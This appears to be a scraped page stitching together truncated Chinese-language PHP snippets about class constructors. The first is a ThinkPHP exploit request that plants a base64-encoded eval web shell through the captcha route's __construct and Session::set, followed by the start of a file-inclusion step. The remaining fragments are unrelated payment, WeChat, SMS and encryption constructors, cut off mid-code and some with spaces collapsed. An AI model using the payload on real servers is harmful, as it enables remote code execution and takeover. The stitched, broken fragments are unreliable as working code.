1,设置session: POST /?s=captcha Cookie: PHPSESSID=kktest _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1 (payload前后两个ab同样是为了base64解码凑字符的原因) 2,文件包含 POST/?s=captcha&r=c...
从PHP 5.2.3起可使用 } curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); if($headers){ curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);//如果有header头 就发送header头信息 } $output = curl_exec($curl); curl_close($curl); return $output; } private function msg($code,$msg,$data=[])...
// api/service/UserToken.php public function __construct($code) { $this->code = $code; $this->appid = config('wx.app_id'); $this->appSecret = config('wx.app_secret'); $this->loginUrl = sprintf( config('wx.login_url'), $this->appid, $this->appSecret, $this->code ); } pu...
private $templateCode = ''; public function __construct($cofig = array()) { $cofig = array ( 'accessKeyId' => '', 'accessKeySecret' => '', 'signName' => '', // 签名 'templateCode' => '' // 模板名称 ); // 配置参数 $this->accessKeyId = $cofig ['accessKeyId']; $this-...
* Time: 11:36*/namespace app\common\lib\exception;usethink\Exception;classApiExceptionextendsException{public$message= '';public$httpCode= 500;public$code= 0;publicfunction__construct($message= '' ,$httpCode= 0,$code= 0) {$this->httpCode =$httpCode;$this->message =$message;$this->code...
public function __construct($key, $method = 'AES-128-ECB', $iv = '', $options = 0) { // key是必须要设置的 $this->secret_key = isset($key) ? $key : 'morefun'; $this->method = $method; $this->iv = $iv; $this->options = $options; ...
public function __construct() { $this->token = ''; //商户平台token(商户平台自己设置) $this->appid = ''; //appid $this->appsec = ''; //appsecrt $this->mchid = ''; //商户id $this->mchkey = ''; //商户秘钥 $this->accessToken = $this->getAccessToken(); ...
public function __construct($config, $uniacid) { $fileName = ROOT_PATH . 'public' . DS . 'static' . DS . 'data/'; //默认目录 if (!empty($uniacid)) { $fileName .= $uniacid . '/'; } $dir = iconv("UTF-8", "GBK", $fileName); ...
public function __construct($appid, $mch_id, $notify_url, $key) { $this->appid = $appid; $this->mch_id = $mch_id; $this->notify_url = $notify_url; $this->key = $key; } /** * 下单方法 * @param $params 下单参数
{protected$appScrect;protected$appId;publicfunction__construct($appScrect="xxxxxxxxx",$appId="xxxxxxxx"){$this->appScrect=$appScrect;$this->appId=$appId; }publicfunctioncode_shouquan(){//echo $this->appScrect; // echo $this->appId;$redirect_uri=urlencode("你自己的域名/index/index/pay");...